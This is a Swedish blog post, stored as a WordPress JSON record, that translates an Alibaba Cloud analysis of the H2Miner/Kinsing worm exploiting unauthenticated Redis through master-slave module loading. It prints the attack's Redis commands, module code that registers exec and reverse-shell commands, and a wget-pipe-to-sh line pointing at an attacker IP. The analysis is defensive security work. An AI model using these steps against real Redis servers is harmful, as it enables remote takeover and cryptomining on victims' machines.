{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"En ny utbrott av H2Miner-maskar som utnyttjar Redis RCE har uppt\u00e4ckts","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

F\u00f6r en dag sedan blev en av servrarna i mitt projekt attackerad av en liknande mask. I min str\u00e4van att f\u00f6rst\u00e5 \"vad var detta egentligen?\" st\u00f6tte jag p\u00e5 en fantastisk artikel fr\u00e5n Alibaba Cloud Security. Eftersom jag inte hittade denna artikel p\u00e5 Habr, best\u00e4mde jag mig f\u00f6r att \u00f6vers\u00e4tta den s\u00e4rskilt f\u00f6r er <3\n<\/p><\/blockquote>\n

Inledning<\/h2>\n

\nNyligen uppt\u00e4ckte Alibaba Clouds s\u00e4kerhetsteam en pl\u00f6tslig utbrott av H2Miner. Denna typ av skadlig mask utnyttjar avsaknaden av autentisering eller svaga l\u00f6senord f\u00f6r Redis som ing\u00e5ngar till dina system, och synkroniserar d\u00e4refter sin egen skadliga modul med en slav genom master-slave synkronisering och laddar slutligen upp denna skadliga modul p\u00e5 den attackerade maskinen f\u00f6r att utf\u00f6ra skadliga instruktioner.<\/p>\n

Tidigare genomf\u00f6rdes attacker mot dina system fr\u00e4mst genom metoder som involverade schemalagda uppgifter eller SSH-nycklar som installerades p\u00e5 din maskin efter att angriparen loggat in p\u00e5 Redis. Lyckligtvis kan denna metod inte anv\u00e4ndas ofta p\u00e5 grund av problem med beh\u00f6righetskontroll eller p\u00e5 grund av olika versioner av systemet. Trots det kan denna metod f\u00f6r uppladdning av skadlig modul direkt utf\u00f6ra angriparens kommandon eller f\u00e5 tillg\u00e5ng till en shell, vilket \u00e4r farligt f\u00f6r ditt system.<\/p>\n

P\u00e5 grund av det stora antalet servrar<\/a> Redis som \u00e4r placerade p\u00e5 internet (n\u00e4stan 1 miljon), rekommenderar Alibaba Clouds s\u00e4kerhetsteam, som en v\u00e4nlig p\u00e5minnelse, att anv\u00e4ndare inte ger \u00e5tkomst till Redis fr\u00e5n n\u00e4tverket och regelbundet kontrollerar s\u00e4kerheten i sina l\u00f6senord och om de \u00e4r utsatta f\u00f6r snabb gissning.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u00e4r ett botn\u00e4t f\u00f6r gruvdrift f\u00f6r system baserade p\u00e5 Linux, som kan infiltrera ditt system p\u00e5 olika s\u00e4tt, inklusive avsaknad av autentisering i Hadoop yarn, Docker, och s\u00e5rbarhet f\u00f6r fj\u00e4rrkommandon i Redis (RCE). Botn\u00e4tet fungerar genom att ladda ner skadliga skript och malware f\u00f6r att bryta dina data, expandera attacken horisontellt, och uppr\u00e4tth\u00e5lla en kommandokontroll (C&C) kommunikation.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nKunskaper om detta \u00e4mne delades av Pavel Toporkov p\u00e5 ZeroNights 2018. Efter version 4.0 st\u00f6djer Redis funktionen f\u00f6r att ladda externa moduler, vilket ger anv\u00e4ndare m\u00f6jlighet att ladda .so-filer, kompilerade med C, i Redis f\u00f6r att utf\u00f6ra specifika Redis-kommandon. Denna funktion \u00e4r visserligen anv\u00e4ndbar, men inneh\u00e5ller en s\u00e5rbarhet d\u00e4r filer kan synkroniseras med slaven i master-slave-l\u00e4get via fullresync-l\u00e4get. Detta kan utnyttjas av en angripare f\u00f6r att \u00f6verf\u00f6ra skadliga .so-filer. Efter att \u00f6verf\u00f6ringen \u00e4r klar laddar angriparna modulen p\u00e5 den attackerade Redis-instansen och utf\u00f6r valfritt kommando.<\/p>\n

Analys av den skadliga masken<\/h2>\n

\nNyligen uppt\u00e4ckte Alibaba Clouds s\u00e4kerhetsteam att storleken p\u00e5 gruppen av skadliga miners H2Miner pl\u00f6tsligt hade \u00f6kat. Enligt analysen ser den totala processen f\u00f6r attacken ut som f\u00f6ljer:<\/p>\n

\"En
\n
\nH2Miner anv\u00e4nder RCE Redis f\u00f6r en fullskalig attack. F\u00f6rst attackerar angriparna oskyddade Redis-servrar eller servrar med svaga l\u00f6senord.<\/p>\n

D\u00e4refter anv\u00e4nder de kommandot config set dbfilename red2.so<\/code> f\u00f6r att \u00e4ndra filnamnet. Efter detta utf\u00f6r angriparna kommandot slaveof<\/code> f\u00f6r att st\u00e4lla in master-slave-replikeringens v\u00e4rdadress. <\/p>\n

N\u00e4r den attackerade Redis-instansen uppr\u00e4ttar en master-slave-anslutning med den skadliga Redis som tillh\u00f6r angriparen, skickar angriparen den infekterade modulen med kommandot fullresync f\u00f6r att synkronisera filerna. D\u00e4refter kommer filen red2.so att laddas p\u00e5 den attackerade maskinen. Efter detta anv\u00e4nder angriparna modulen .\\\/red2.so f\u00f6r att ladda denna .so-fil. Modulen kan utf\u00f6ra angriparens kommandon eller initiera en bakd\u00f6rr f\u00f6r att f\u00e5 \u00e5tkomst till den attackerade maskinen.<\/p>\n

if (RedisModule_CreateCommand(ctx, "system.exec",\n        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, "system.rev",\n        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nEfter att ha utf\u00f6rt ett skadligt kommando som \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, kommer angriparen att \u00e5terst\u00e4lla namnet p\u00e5 s\u00e4kerhetskopian och avlasta systemmodulen f\u00f6r att ta bort sp\u00e5ren. Trots detta kommer filen red2.so fortfarande att finnas kvar p\u00e5 den attackerade maskinen. Anv\u00e4ndarna rekommenderas att vara uppm\u00e4rksamma p\u00e5 f\u00f6rekomsten av en s\u00e5dan misst\u00e4nkt fil i mappen f\u00f6r deras Redis-instans.<\/p>\n
Ut\u00f6ver att f\u00f6rst\u00f6ra vissa skadliga processer f\u00f6r att stj\u00e4la resurser f\u00f6ljde angriparen ett skadligt manus genom att ladda ner och k\u00f6ra skadliga filer i bin\u00e4r form f\u00f6r att 142.44.191.122\/kinsing<\/a><\/noindex>. Detta inneb\u00e4r att processnamnet eller katalognamnet som inneh\u00e5ller kinsing p\u00e5 v\u00e4rden kan indikera att denna maskin har infekterats av detta virus.<\/p>\n
Enligt resultat fr\u00e5n omv\u00e4nd utveckling utf\u00f6r det skadliga programmet huvudsakligen f\u00f6ljande funktioner:<\/p>\n